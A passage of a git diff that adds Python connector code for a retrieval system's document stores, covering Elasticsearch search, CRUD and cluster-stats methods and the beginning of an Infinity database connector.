basic_auth=(settings.ES["username"], settings.ES[ + "password"]) if "username" in settings.ES and "password" in settings.ES else None, + verify_certs=False, + timeout=600 + ) + if self.es: + self.info = self.es.info() + return True + return False + + """ + Database operations + """ + + def dbType(self) -> str: + return "elasticsearch" + + def health(self) -> dict: + health_dict = dict(self.es.cluster.health()) + health_dict["type"] = "elasticsearch" + return health_dict + + """ + Table operations + """ + + def createIdx(self, indexName: str, knowledgebaseId: str, vectorSize: int): + if self.indexExist(indexName, knowledgebaseId): + return True + try: + from elasticsearch.client import IndicesClient + return IndicesClient(self.es).create(index=indexName, + settings=self.mapping["settings"], + mappings=self.mapping["mappings"]) + except Exception: + logger.exception("ESConnection.createIndex error %s" % (indexName)) + + def deleteIdx(self, indexName: str, knowledgebaseId: str): + if len(knowledgebaseId) > 0: + # The index need to be alive after any kb deletion since all kb under this tenant are in one index. + return + try: + self.es.indices.delete(index=indexName, allow_no_indices=True) + except NotFoundError: + pass + except Exception: + logger.exception("ESConnection.deleteIdx error %s" % (indexName)) + + def indexExist(self, indexName: str, knowledgebaseId: str = None) -> bool: + s = Index(indexName, self.es) + for i in range(ATTEMPT_TIME): + try: + return s.exists() + except ConnectionTimeout: + logger.exception("ES request timeout") + time.sleep(3) + self._connect() + continue + except Exception as e: + logger.exception(e) + break + return False + + """ + CRUD operations + """ + + def search( + self, selectFields: list[str], + highlightFields: list[str], + condition: dict, + matchExprs: list[MatchExpr], + orderBy: OrderByExpr, + offset: int, + limit: int, + indexNames: str | list[str], + knowledgebaseIds: list[str], + aggFields: list[str] = [], + rank_feature: dict | None = None + ): + """ + Refers to https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl.html + """ + if isinstance(indexNames, str): + indexNames = indexNames.split(",") + assert isinstance(indexNames, list) and len(indexNames) > 0 + assert "_id" not in condition + + bqry = Q("bool", must=[]) + condition["kb_id"] = knowledgebaseIds + for k, v in condition.items(): + if k == "available_int": + if v == 0: + bqry.filter.append(Q("range", available_int={"lt": 1})) + else: + bqry.filter.append( + Q("bool", must_not=Q("range", available_int={"lt": 1}))) + continue + if not v: + continue + if isinstance(v, list): + bqry.filter.append(Q("terms", **{k: v})) + elif isinstance(v, str) or isinstance(v, int): + bqry.filter.append(Q("term", **{k: v})) + else: + raise Exception( + f"Condition `{str(k)}={str(v)}` value type is {str(type(v))}, expected to be int, str or list.") + + s = Search() + vector_similarity_weight = 0.5 + for m in matchExprs: + if isinstance(m, FusionExpr) and m.method == "weighted_sum" and "weights" in m.fusion_params: + assert len(matchExprs) == 3 and isinstance(matchExprs[0], MatchTextExpr) and isinstance(matchExprs[1], + MatchDenseExpr) and isinstance( + matchExprs[2], FusionExpr) + weights = m.fusion_params["weights"] + vector_similarity_weight = get_float(weights.split(",")[1]) + for m in matchExprs: + if isinstance(m, MatchTextExpr): + minimum_should_match = m.extra_options.get("minimum_should_match", 0.0) + if isinstance(minimum_should_match, float): + minimum_should_match = str(int(minimum_should_match * 100)) + "%" + bqry.must.append(Q("query_string", fields=m.fields, + type="best_fields", query=m.matching_text, + minimum_should_match=minimum_should_match, + boost=1)) + bqry.boost = 1.0 - vector_similarity_weight + + elif isinstance(m, MatchDenseExpr): + assert (bqry is not None) + similarity = 0.0 + if "similarity" in m.extra_options: + similarity = m.extra_options["similarity"] + s = s.knn(m.vector_column_name, + m.topn, + m.topn * 2, + query_vector=list(m.embedding_data), + filter=bqry.to_dict(), + similarity=similarity, + ) + + if bqry and rank_feature: + for fld, sc in rank_feature.items(): + if fld != PAGERANK_FLD: + fld = f"{TAG_FLD}.{fld}" + bqry.should.append(Q("rank_feature", field=fld, linear={}, boost=sc)) + + if bqry: + s = s.query(bqry) + for field in highlightFields: + s = s.highlight(field) + + if orderBy: + orders = list() + for field, order in orderBy.fields: + order = "asc" if order == 0 else "desc" + if field in ["page_num_int", "top_int"]: + order_info = {"order": order, "unmapped_type": "float", + "mode": "avg", "numeric_type": "double"} + elif field.endswith("_int") or field.endswith("_flt"): + order_info = {"order": order, "unmapped_type": "float"} + else: + order_info = {"order": order, "unmapped_type": "text"} + orders.append({field: order_info}) + s = s.sort(*orders) + + for fld in aggFields: + s.aggs.bucket(f'aggs_{fld}', 'terms', field=fld, size=1000000) + + if limit > 0: + s = s[offset:offset + limit] + q = s.to_dict() + logger.debug(f"ESConnection.search {str(indexNames)} query: " + json.dumps(q)) + + for i in range(ATTEMPT_TIME): + try: + #print(json.dumps(q, ensure_ascii=False)) + res = self.es.search(index=indexNames, + body=q, + timeout="600s", + # search_type="dfs_query_then_fetch", + track_total_hits=True, + _source=True) + if str(res.get("timed_out", "")).lower() == "true": + raise Exception("Es Timeout.") + logger.debug(f"ESConnection.search {str(indexNames)} res: " + str(res)) + return res + except ConnectionTimeout: + logger.exception("ES request timeout") + self._connect() + continue + except Exception as e: + logger.exception(f"ESConnection.search {str(indexNames)} query: " + str(q) + str(e)) + raise e + + logger.error(f"ESConnection.search timeout for {ATTEMPT_TIME} times!") + raise Exception("ESConnection.search timeout.") + + def get(self, chunkId: str, indexName: str, knowledgebaseIds: list[str]) -> dict | None: + for i in range(ATTEMPT_TIME): + try: + res = self.es.get(index=(indexName), + id=chunkId, source=True, ) + if str(res.get("timed_out", "")).lower() == "true": + raise Exception("Es Timeout.") + chunk = res["_source"] + chunk["id"] = chunkId + return chunk + except NotFoundError: + return None + except Exception as e: + logger.exception(f"ESConnection.get({chunkId}) got exception") + raise e + logger.error(f"ESConnection.get timeout for {ATTEMPT_TIME} times!") + raise Exception("ESConnection.get timeout.") + + def insert(self, documents: list[dict], indexName: str, knowledgebaseId: str = None) -> list[str]: + # Refers to https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-bulk.html + operations = [] + for d in documents: + assert "_id" not in d + assert "id" in d + d_copy = copy.deepcopy(d) + d_copy["kb_id"] = knowledgebaseId + meta_id = d_copy.pop("id", "") + operations.append( + {"index": {"_index": indexName, "_id": meta_id}}) + operations.append(d_copy) + + res = [] + for _ in range(ATTEMPT_TIME): + try: + res = [] + r = self.es.bulk(index=(indexName), operations=operations, + refresh=False, timeout="60s") + if re.search(r"False", str(r["errors"]), re.IGNORECASE): + return res + + for item in r["items"]: + for action in ["create", "delete", "index", "update"]: + if action in item and "error" in item[action]: + res.append(str(item[action]["_id"]) + ":" + str(item[action]["error"])) + return res + except ConnectionTimeout: + logger.exception("ES request timeout") + time.sleep(3) + self._connect() + continue + except Exception as e: + res.append(str(e)) + logger.warning("ESConnection.insert got exception: " + str(e)) + + return res + + def update(self, condition: dict, newValue: dict, indexName: str, knowledgebaseId: str) -> bool: + doc = copy.deepcopy(newValue) + doc.pop("id", None) + condition["kb_id"] = knowledgebaseId + if "id" in condition and isinstance(condition["id"], str): + # update specific single document + chunkId = condition["id"] + for i in range(ATTEMPT_TIME): + for k in doc.keys(): + if "feas" != k.split("_")[-1]: + continue + try: + self.es.update(index=indexName, id=chunkId, script=f"ctx._source.remove(\"{k}\");") + except Exception: + logger.exception(f"ESConnection.update(index={indexName}, id={chunkId}, doc={json.dumps(condition, ensure_ascii=False)}) got exception") + try: + self.es.update(index=indexName, id=chunkId, doc=doc) + return True + except Exception as e: + logger.exception( + f"ESConnection.update(index={indexName}, id={chunkId}, doc={json.dumps(condition, ensure_ascii=False)}) got exception: "+str(e)) + break + return False + + # update unspecific maybe-multiple documents + bqry = Q("bool") + for k, v in condition.items(): + if not isinstance(k, str) or not v: + continue + if k == "exists": + bqry.filter.append(Q("exists", field=v)) + continue + if isinstance(v, list): + bqry.filter.append(Q("terms", **{k: v})) + elif isinstance(v, str) or isinstance(v, int): + bqry.filter.append(Q("term", **{k: v})) + else: + raise Exception( + f"Condition `{str(k)}={str(v)}` value type is {str(type(v))}, expected to be int, str or list.") + scripts = [] + params = {} + for k, v in newValue.items(): + if k == "remove": + if isinstance(v, str): + scripts.append(f"ctx._source.remove('{v}');") + if isinstance(v, dict): + for kk, vv in v.items(): + scripts.append(f"int i=ctx._source.{kk}.indexOf(params.p_{kk});ctx._source.{kk}.remove(i);") + params[f"p_{kk}"] = vv + continue + if k == "add": + if isinstance(v, dict): + for kk, vv in v.items(): + scripts.append(f"ctx._source.{kk}.add(params.pp_{kk});") + params[f"pp_{kk}"] = vv.strip() + continue + if (not isinstance(k, str) or not v) and k != "available_int": + continue + if isinstance(v, str): + v = re.sub(r"(['\n\r]|\\.)", " ", v) + params[f"pp_{k}"] = v + scripts.append(f"ctx._source.{k}=params.pp_{k};") + elif isinstance(v, int) or isinstance(v, float): + scripts.append(f"ctx._source.{k}={v};") + elif isinstance(v, list): + scripts.append(f"ctx._source.{k}=params.pp_{k};") + params[f"pp_{k}"] = json.dumps(v, ensure_ascii=False) + else: + raise Exception( + f"newValue `{str(k)}={str(v)}` value type is {str(type(v))}, expected to be int, str.") + ubq = UpdateByQuery( + index=indexName).using( + self.es).query(bqry) + ubq = ubq.script(source="".join(scripts), params=params) + ubq = ubq.params(refresh=True) + ubq = ubq.params(slices=5) + ubq = ubq.params(conflicts="proceed") + + for _ in range(ATTEMPT_TIME): + try: + _ = ubq.execute() + return True + except ConnectionTimeout: + logger.exception("ES request timeout") + time.sleep(3) + self._connect() + continue + except Exception as e: + logger.error("ESConnection.update got exception: " + str(e) + "\n".join(scripts)) + break + return False + + def delete(self, condition: dict, indexName: str, knowledgebaseId: str) -> int: + qry = None + assert "_id" not in condition + condition["kb_id"] = knowledgebaseId + if "id" in condition: + chunk_ids = condition["id"] + if not isinstance(chunk_ids, list): + chunk_ids = [chunk_ids] + if not chunk_ids: # when chunk_ids is empty, delete all + qry = Q("match_all") + else: + qry = Q("ids", values=chunk_ids) + else: + qry = Q("bool") + for k, v in condition.items(): + if k == "exists": + qry.filter.append(Q("exists", field=v)) + + elif k == "must_not": + if isinstance(v, dict): + for kk, vv in v.items(): + if kk == "exists": + qry.must_not.append(Q("exists", field=vv)) + + elif isinstance(v, list): + qry.must.append(Q("terms", **{k: v})) + elif isinstance(v, str) or isinstance(v, int): + qry.must.append(Q("term", **{k: v})) + else: + raise Exception("Condition value must be int, str or list.") + logger.debug("ESConnection.delete query: " + json.dumps(qry.to_dict())) + for _ in range(ATTEMPT_TIME): + try: + res = self.es.delete_by_query( + index=indexName, + body=Search().query(qry).to_dict(), + refresh=True) + return res["deleted"] + except ConnectionTimeout: + logger.exception("ES request timeout") + time.sleep(3) + self._connect() + continue + except Exception as e: + logger.warning("ESConnection.delete got exception: " + str(e)) + if re.search(r"(not_found)", str(e), re.IGNORECASE): + return 0 + return 0 + + """ + Helper functions for search result + """ + + def getTotal(self, res): + if isinstance(res["hits"]["total"], type({})): + return res["hits"]["total"]["value"] + return res["hits"]["total"] + + def getChunkIds(self, res): + return [d["_id"] for d in res["hits"]["hits"]] + + def __getSource(self, res): + rr = [] + for d in res["hits"]["hits"]: + d["_source"]["id"] = d["_id"] + d["_source"]["_score"] = d["_score"] + rr.append(d["_source"]) + return rr + + def getFields(self, res, fields: list[str]) -> dict[str, dict]: + res_fields = {} + if not fields: + return {} + for d in self.__getSource(res): + m = {n: d.get(n) for n in fields if d.get(n) is not None} + for n, v in m.items(): + if isinstance(v, list): + m[n] = v + continue + if n == "available_int" and isinstance(v, (int, float)): + m[n] = v + continue + if not isinstance(v, str): + m[n] = str(m[n]) + # if n.find("tks") > 0: + # m[n] = rmSpace(m[n]) + + if m: + res_fields[d["id"]] = m + return res_fields + + def getHighlight(self, res, keywords: list[str], fieldnm: str): + ans = {} + for d in res["hits"]["hits"]: + hlts = d.get("highlight") + if not hlts: + continue + txt = "...".join([a for a in list(hlts.items())[0][1]]) + if not is_english(txt.split()): + ans[d["_id"]] = txt + continue + + txt = d["_source"][fieldnm] + txt = re.sub(r"[\r\n]", " ", txt, flags=re.IGNORECASE | re.MULTILINE) + txts = [] + for t in re.split(r"[.?!;\n]", txt): + for w in keywords: + t = re.sub(r"(^|[ .?/'\"\(\)!,:;-])(%s)([ .?/'\"\(\)!,:;-])" % re.escape(w), r"\1<em>\2</em>\3", t, + flags=re.IGNORECASE | re.MULTILINE) + if not re.search(r"<em>[^<>]+</em>", t, flags=re.IGNORECASE | re.MULTILINE): + continue + txts.append(t) + ans[d["_id"]] = "...".join(txts) if txts else "...".join([a for a in list(hlts.items())[0][1]]) + + return ans + + def getAggregation(self, res, fieldnm: str): + agg_field = "aggs_" + fieldnm + if "aggregations" not in res or agg_field not in res["aggregations"]: + return list() + bkts = res["aggregations"][agg_field]["buckets"] + return [(b["key"], b["doc_count"]) for b in bkts] + + """ + SQL + """ + + def sql(self, sql: str, fetch_size: int, format: str): + logger.debug(f"ESConnection.sql get sql: {sql}") + sql = re.sub(r"[ `]+", " ", sql) + sql = sql.replace("%", "") + replaces = [] + for r in re.finditer(r" ([a-z_]+_l?tks)( like | ?= ?)'([^']+)'", sql): + fld, v = r.group(1), r.group(3) + match = " MATCH({}, '{}', 'operator=OR;minimum_should_match=30%') ".format( + fld, rag_tokenizer.fine_grained_tokenize(rag_tokenizer.tokenize(v))) + replaces.append( + ("{}{}'{}'".format( + r.group(1), + r.group(2), + r.group(3)), + match)) + + for p, r in replaces: + sql = sql.replace(p, r, 1) + logger.debug(f"ESConnection.sql to es: {sql}") + + for i in range(ATTEMPT_TIME): + try: + res = self.es.sql.query(body={"query": sql, "fetch_size": fetch_size}, format=format, + request_timeout="2s") + return res + except ConnectionTimeout: + logger.exception("ES request timeout") + time.sleep(3) + self._connect() + continue + except Exception: + logger.exception("ESConnection.sql got exception") + break + logger.error(f"ESConnection.sql timeout for {ATTEMPT_TIME} times!") + return None + + def get_cluster_stats(self): + """ + curl -XGET "http://{es_host}/_cluster/stats" -H "kbn-xsrf: reporting" to view raw stats. + """ + raw_stats = self.es.cluster.stats() + logger.debug(f"ESConnection.get_cluster_stats: {raw_stats}") + try: + res = { + 'cluster_name': raw_stats['cluster_name'], + 'status': raw_stats['status'] + } + indices_status = raw_stats['indices'] + res.update({ + 'indices': indices_status['count'], + 'indices_shards': indices_status['shards']['total'] + }) + doc_info = indices_status['docs'] + res.update({ + 'docs': doc_info['count'], + 'docs_deleted': doc_info['deleted'] + }) + store_info = indices_status['store'] + res.update({ + 'store_size': convert_bytes(store_info['size_in_bytes']), + 'total_dataset_size': convert_bytes(store_info['total_data_set_size_in_bytes']) + }) + mappings_info = indices_status['mappings'] + res.update({ + 'mappings_fields': mappings_info['total_field_count'], + 'mappings_deduplicated_fields': mappings_info['total_deduplicated_field_count'], + 'mappings_deduplicated_size': convert_bytes(mappings_info['total_deduplicated_mapping_size_in_bytes']) + }) + node_info = raw_stats['nodes'] + res.update({ + 'nodes': node_info['count']['total'], + 'nodes_version': node_info['versions'], + 'os_mem': convert_bytes(node_info['os']['mem']['total_in_bytes']), + 'os_mem_used': convert_bytes(node_info['os']['mem']['used_in_bytes']), + 'os_mem_used_percent': node_info['os']['mem']['used_percent'], + 'jvm_versions': node_info['jvm']['versions'][0]['vm_version'], + 'jvm_heap_used': convert_bytes(node_info['jvm']['mem']['heap_used_in_bytes']), + 'jvm_heap_max': convert_bytes(node_info['jvm']['mem']['heap_max_in_bytes']) + }) + return res + + except Exception as e: + logger.exception(f"ESConnection.get_cluster_stats: {e}") + return None diff --git a/rag/utils/infinity_conn.py b/rag/utils/infinity_conn.py new file mode 100644 index 0000000..001531a --- /dev/null +++ b/rag/utils/infinity_conn.py @@ -0,0 +1,784 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import os +import re +import json +import time +import copy +import infinity +from infinity.common import ConflictType, InfinityException, SortType +from infinity.index import IndexInfo, IndexType +from infinity.connection_pool import ConnectionPool +from infinity.errors import ErrorCode +from rag import settings +from rag.settings import PAGERANK_FLD, TAG_FLD +from rag.utils import singleton +import pandas as pd +from api.utils.file_utils import get_project_base_directory +from rag.nlp import is_english + +from rag.utils.doc_store_conn import ( + DocStoreConnection, + MatchExpr, + MatchTextExpr, + MatchDenseExpr, + FusionExpr, + OrderByExpr, +) + +logger = logging.getLogger("ragflow.infinity_conn") + + +def field_keyword(field_name: str): + # The "docnm_kwd" field is always a string, not list. + if field_name == "source_id" or (field_name.endswith("_kwd") and field_name != "docnm_kwd" and field_name != "knowledge_graph_kwd"): + return True + return False + + +def equivalent_condition_to_str(condition: dict, table_instance=None) -> str | None: + assert "_id" not in condition + clmns = {} + if table_instance: + for n, ty, de, _ in table_instance.show_columns().rows(): + clmns[n] = (ty, de) + + def exists(cln): + nonlocal clmns + assert cln in clmns, f"'{cln}' should be in '{clmns}'." + ty, de = clmns[cln] + if ty.lower().find("cha"): + if not de: + de = "" + return f" {cln}!='{de}' " + return f"{cln}!={de}" + + cond = list() + for k, v in condition.items(): + if not isinstance(k, str) or not v: + continue + if field_keyword(k): + if isinstance(v, list): + inCond = list() + for item in v: + if isinstance(item, str): + item = item.replace("'", "''") + inCond.append(f"filter_fulltext('{k}', '{item}')") + if inCond: + strInCond = " or ".join(inCond) + strInCond = f"({strInCond})" + cond.append(strInCond) + else: + cond.append(f"filter_fulltext('{k}', '{v}')") + elif isinstance(v, list): + inCond = list() + for item in v: + if isinstance(item, str): + item = item.replace("'", "''") + inCond.append(f"'{item}'") + else: + inCond.append(str(item)) + if inCond: + strInCond = ", ".join(inCond) + strInCond = f"{k} IN ({strInCond})" + cond.append(strInCond) + elif k == "must_not": + if isinstance(v, dict): + for kk, vv in v.items(): + if kk == "exists": + cond.append("NOT (%s)" % exists(vv)) + elif isinstance(v, str): + cond.append(f"{k}='{v}'") + elif k == "exists": + cond.append(exists(v)) + else: + cond.append(f"{k}={str(v)}") + return " AND ".join(cond) if cond else "1=1" + + +def concat_dataframes(df_list: list[pd.DataFrame], selectFields: list[str]) -> pd.DataFrame: + df_list2 = [df for df in df_list if not df.empty] + if df_list2: + return pd.concat(df_list2, axis=0).reset_index(drop=True) + + schema = [] + for field_name in selectFields: + if field_name == "score()": # Workaround: fix schema is changed to score() + schema.append("SCORE") + elif field_name == "similarity()": # Workaround: fix schema is changed to similarity() + schema.append("SIMILARITY") + else: + schema.append(field_name) + return pd.DataFrame(columns=schema) + + +@singleton +class InfinityConnection(DocStoreConnection): + def __init__(self): + self.dbName = settings.INFINITY.get("db_name", "default_db") + infinity_uri = settings.INFINITY["uri"] + if ":" in infinity_uri: + host, port = infinity_uri.split(":") + infinity_uri = infinity.common.NetworkAddress(host, int(port)) + self.connPool = None + logger.info(f"Use Infinity {infinity_uri} as the doc engine.") + for _ in range(24): + try: + connPool = ConnectionPool(infinity_uri, max_size=32) + inf_conn = connPool.get_conn() + res = inf_conn.show_current_node() + if res.error_code == ErrorCode.OK and res.server_status in ["started", "alive"]: + self._migrate_db(inf_conn) + self.connPool = connPool + connPool.release_conn(inf_conn) + break + connPool.release_conn(inf_conn) + logger.warn(f"Infinity status: {res.server_status}. Waiting Infinity {infinity_uri} to be healthy.") + time.sleep(5) + except Exception as e: + logger.warning(f"{str(e)}. Waiting Infinity {infinity_uri} to be healthy.") + time.sleep(5) + if self.connPool is None: + msg = f"Infinity {infinity_uri} is unhealthy in 120s." + logger.error(msg) + raise Exception(msg) + logger.info(f"Infinity {infinity_uri} is healthy.") + + def _migrate_db(self, inf_conn): + inf_db = inf_conn.create_database(self.dbName, ConflictType.Ignore) + fp_mapping = os.path.join(get_project_base_directory(), "conf", "infinity_mapping.json") + if not os.path.exists(fp_mapping): + raise Exception(f"Mapping file not found at {fp_mapping}") + schema = json.load(open(fp_mapping)) + table_names = inf_db.list_tables().table_names + for table_name in table_names: + inf_table = inf_db.get_table(table_name) + index_names = inf_table.list_indexes().index_names + if "q_vec_idx" not in index_names: + # Skip tables not created by me + continue + column_names = inf_table.show_columns()["name"] + column_names = set(column_names) + for field_name, field_info in schema.items(): + if field_name in column_names: + continue + res = inf_table.add_columns({field_name: field_info}) + assert res.error_code == infinity.ErrorCode.OK + logger.info(f"INFINITY added following column to table {table_name}: {field_name} {field_info}") + if field_info["type"] != "varchar" or "analyzer" not in field_info: + continue + inf_table.create_index( + f"text_idx_{field_name}", + IndexInfo(field_name, IndexType.FullText, {"ANALYZER": field_info["analyzer"]}), + ConflictType.Ignore, + ) + + """ + Database operations + """ + + def dbType(self) -> str: + return "infinity" + + def health(self) -> dict: + """ + Return the health status of the database. + """ + inf_conn = self.connPool.get_conn() + res = inf_conn.show_current_node() + self.connPool.release_conn(inf_conn) + res2 = { + "type": "infinity", + "status": "green" if res.error_code == 0 and res.server_status in ["started", "alive"] else "red", + "error": res.error_msg, + } + return res2 + + """ + Table operations + """ + + def createIdx(self, indexName: str, knowledgebaseId: str, vectorSize: int): + table_name = f"{indexName}_{knowledgebaseId}" + inf_conn = self.connPool.get_conn() + inf_db = inf_conn.create_database(self.dbName, ConflictType.Ignore) + + fp_mapping = os.path.join(get_project_base_directory(), "conf", "infinity_mapping.json") + if not os.path.exists(fp_mapping): + raise Exception(f"Mapping file not found at {fp_mapping}") + schema = json.load(open(fp_mapping)) + vector_name = f"q_{vectorSize}_vec" + schema[vector_name] = {"type": f"vector,{vectorSize},float"} + inf_table = inf_db.create_table( + table_name, + schema, + ConflictType.Ignore, + ) + inf_table.create_index( + "q_vec_idx", + IndexInfo( + vector_name, + IndexType.Hnsw, + { + "M": "16", + "ef_construction": "50", + "metric": "cosine", + "encode": "lvq", + }, + ), + ConflictType.Ignore, + ) + for field_name, field_info in schema.items(): + if field_info["type"] != "varchar" or "analyzer" not in field_info: + continue + inf_table.create_index( + f"text_idx_{field_name}", + IndexInfo(field_name, IndexType.FullText, {"ANALYZER": field_info["analyzer"]}), + ConflictType.Ignore, + ) + self.connPool.release_conn(inf_conn) + logger.info(f"INFINITY created table {table_name}, vector size {vectorSize}") + + def deleteIdx(self, indexName: str, knowledgebaseId: str): + table_name = f"{indexName}_{knowledgebaseId}" + inf_conn = self.connPool.get_conn() + db_instance = inf_conn.get_database(self.dbName) + db_instance.drop_table(table_name, ConflictType.Ignore) + self.connPool.release_conn(inf_conn) + logger.info(f"INFINITY dropped table {table_name}") + + def indexExist(self, indexName: str, knowledgebaseId: str) -> bool: + table_name = f"{indexName}_{knowledgebaseId}" + try: + inf_conn = self.connPool.get_conn() + db_instance = inf_conn.get_database(self.dbName) + _ = db_instance.get_table(table_name) + self.connPool.release_conn(inf_conn) + return True + except Exception as e: + logger.warning(f"INFINITY indexExist {str(e)}") + return False + + """ + CRUD operations + """ + + def search( + self, + selectFields: list[str], + highlightFields: list[str], + condition: dict, + matchExprs: list[MatchExpr], + orderBy: OrderByExpr, + offset: int, + limit: int, + indexNames: str | list[str], + knowledgebaseIds: list[str], + aggFields: list[str] = [], + rank_feature: dict | None = None, + ) -> tuple[pd.DataFrame, int]: + """ + BUG: Infinity returns empty for a highlight field if the query string doesn't use that field. + """ + if isinstance(indexNames, str): + indexNames = indexNames.split(",") + assert isinstance(indexNames, list) and len(indexNames) > 0 + inf_conn = self.connPool.get_conn() + db_instance = inf_conn.get_database(self.dbName) + df_list = list() + table_list = list() + output = selectFields.copy() + for essential_field in ["id"] + aggFields: + if essential_field not in output: + output.append(essential_field) + score_func = "" + score_column = "" + for matchExpr in matchExprs: + if isinstance(matchExpr, MatchTextExpr): + score_func = "score()" + score_column = "SCORE" + break + if not score_func: + for matchExpr in matchExprs: + if isinstance(matchExpr, MatchDenseExpr): + score_func = "similarity()" + score_column = "SIMILARITY" + break + if matchExprs: + if score_func not in output: + output.append(score_func) + if PAGERANK_FLD not in output: + output.append(PAGERANK_FLD) + output = [f for f in output if f != "_score"] + if limit <= 0: + # ElasticSearch default limit is 10000 + limit = 10000 + + # Prepare expressions common to all tables + filter_cond = None + filter_fulltext = "" + if condition: + table_found = False + for indexName in indexNames: + for kb_id in knowledgebaseIds: + table_name = f"{indexName}_{kb_id}" + try: + filter_cond = equivalent_condition_to_str(condition, db_instance.get_table(table_name)) + table_found = True + break + except Exception: + pass + if table_found: + break + if not table_found: + logger.error(f"No valid tables found for indexNames {indexNames} and knowledgebaseIds {knowledgebaseIds}") + return pd.DataFrame(), 0 + + for matchExpr in matchExprs: + if isinstance(matchExpr, MatchTextExpr): + if filter_cond and "filter" not in matchExpr.extra_options: + matchExpr.extra_options.update({"filter": filter_cond}) + fields = ",".join(matchExpr.fields) + filter_fulltext = f"filter_fulltext('{fields}', '{matchExpr.matching_text}')" + if filter_cond: + filter_fulltext = f"({filter_cond}) AND {filter_fulltext}" + minimum_should_match = matchExpr.extra_options.get("minimum_should_match", 0.0) + if isinstance(minimum_should_match, float): + str_minimum_should_match = str(int(minimum_should_match * 100)) + "%" + matchExpr.extra_options["minimum_should_match"] = str_minimum_should_match + + # Add rank_feature support + if rank_feature and "rank_features" not in matchExpr.extra_options: + # Convert rank_feature dict to Infinity's rank_features string format + # Format: "field^feature_name^weight,field^feature_name^weight" + rank_features_list = [] + for feature_name, weight in rank_feature.items(): + # Use TAG_FLD as the field containing rank features + rank_features_list.append(f"{TAG_FLD}^{feature_name}^{weight}") + if rank_features_list: + matchExpr.extra_options["rank_features"] = ",".join(rank_features_list) + + for k, v in matchExpr.extra_options.items(): + if not isinstance(v, str): + matchExpr.extra_options[k] = str(v) + logger.debug(f"INFINITY search MatchTextExpr: {json.dumps(matchExpr.__dict__)}") + elif isinstance(matchExpr, MatchDenseExpr): + if filter_fulltext and "filter" not in matchExpr.extra_options: + matchExpr.extra_options.update({"filter": filter_fulltext}) + for k, v in matchExpr.extra_options.items(): + if not isinstance(v, str): + matchExpr.extra_options[k] = str(v) + similarity = matchExpr.extra_options.get("similarity") + if similarity: + matchExpr.extra_options["threshold"] = similarity + del matchExpr.extra_options["similarity"] + logger.debug(f"INFINITY search MatchDenseExpr: {json.dumps(matchExpr.__dict__)}") + elif isinstance(matchExpr, FusionExpr): + logger.debug(f"INFINITY search FusionExpr: {json.dumps(matchExpr.__dict__)}") + + order_by_expr_list = list() + if orderBy.fields: + for order_field in orderBy.fields: + if order_field[1] == 0: + order_by_expr_list.append((order_field[0], SortType.Asc)) + else: + order_by_expr_list.append((order_field[0], SortType.Desc)) + + total_hits_count = 0 + # Scatter search tables and gather the results + for indexName in indexNames: + for knowledgebaseId in knowledgebaseIds: + table_name = f"{indexName}_{knowledgebaseId}" + try: + table_instance = db_instance.get_table(table_name) + except Exception: + continue + table_list.append(table_name) + builder = table_instance.output(output) + if len(matchExprs) > 0: + for matchExpr in matchExprs: + if isinstance(matchExpr, MatchTextExpr): + fields = ",".join(matchExpr.fields) + builder = builder.match_text( + fields, + matchExpr.matching_text, + matchExpr.topn, + matchExpr.extra_options.copy(), + ) + elif isinstance(matchExpr, MatchDenseExpr): + builder = builder.match_dense( + matchExpr.vector_column_name, + matchExpr.embedding_data, + matchExpr.embedding_data_type, + matchExpr.distance_type, + matchExpr.topn, + matchExpr.extra_options.copy(), + ) + elif isinstance(matchExpr, FusionExpr): + builder = builder.fusion(matchExpr.method, matchExpr.topn, matchExpr.fusion_params) + else: + if filter_cond and len(filter_cond) > 0: + builder.filter(filter_cond) + if orderBy.fields: + builder.sort(order_by_expr_list) + builder.offset(offset).limit(limit) + kb_res, extra_result = builder.option({"total_hits_count": True}).to_df() + if extra_result: + total_hits_count += int(extra_result["total_hits_count"]) + logger.debug(f"INFINITY search table: {str(table_name)}, result: {str(kb_res)}") + df_list.append(kb_res) + self.connPool.release_conn(inf_conn) + res = concat_dataframes(df_list, output) + if matchExprs: + res["Sum"] = res[score_column] + res[PAGERANK_FLD] + res = res.sort_values(by="Sum", ascending=False).reset_index(drop=True).drop(columns=["Sum"]) + res = res.head(limit) + logger.debug(f"INFINITY search final result: {str(res)}") + return res, total_hits_count + + def get(self, chunkId: str, indexName: str, knowledgebaseIds: list[str]) -> dict | None: + inf_conn = self.connPool.get_conn() + db_instance = inf_conn.get_database(self.dbName) + df_list = list() + assert isinstance(knowledgebaseIds, list) + table_list = list() + for knowledgebaseId in knowledgebaseIds: + table_name = f"{indexName}_{knowledgebaseId}" + table_list.append(table_name) + table_instance = None + try: + table_instance = db_instance.get_table(table_name) + except Exception: + logger.warning(f"Table not found: {table_name}, this knowledge base isn't created in Infinity. Maybe it is created in other document engine.") + continue + kb_res, _ = table_instance.output(["*"]).filter(f"id = '{chunkId}'").to_df() + logger.debug(f"INFINITY get table: {str(table_list)}, result: {str(kb_res)}") + df_list.append(kb_res) + self.connPool.release_conn(inf_conn) + res = concat_dataframes(df_list, ["id"]) + res_fields = self.getFields(res, res.columns.tolist()) + return res_fields.get(chunkId, None) + + def insert(self, documents: list[dict], indexName: str, knowledgebaseId: str = None) -> list[str]: + inf_conn = self.connPool.get_conn() + db_instance = inf_conn.get_database(self.dbName) + table_name = f"{indexName}_{knowledgebaseId}" + try: + table_instance = db_instance.get_table(table_name) + except InfinityException as e: + # src/common/status.cppm, kTableNotExist = 3022 + if e.error_code != ErrorCode.TABLE_NOT_EXIST: + raise + vector_size = 0 + patt = re.compile(r"q_(?P<vector_size>\d+)_vec") + for k in documents[0].keys(): + m = patt.match(k) + if m: + vector_size = int(m.group("vector_size")) + break + if vector_size == 0: + raise ValueError("Cannot infer vector size from documents") + self.createIdx(indexName, knowledgebaseId, vector_size) + table_instance = db_instance.get_table(table_name) + + # embedding fields can't have a default value.... + embedding_clmns = [] + clmns = table_instance.show_columns().rows() + for n, ty, _, _ in clmns: + r = re.search(r"Embedding\([a-z]+,([0-9]+)\)", ty) + if not r: + continue 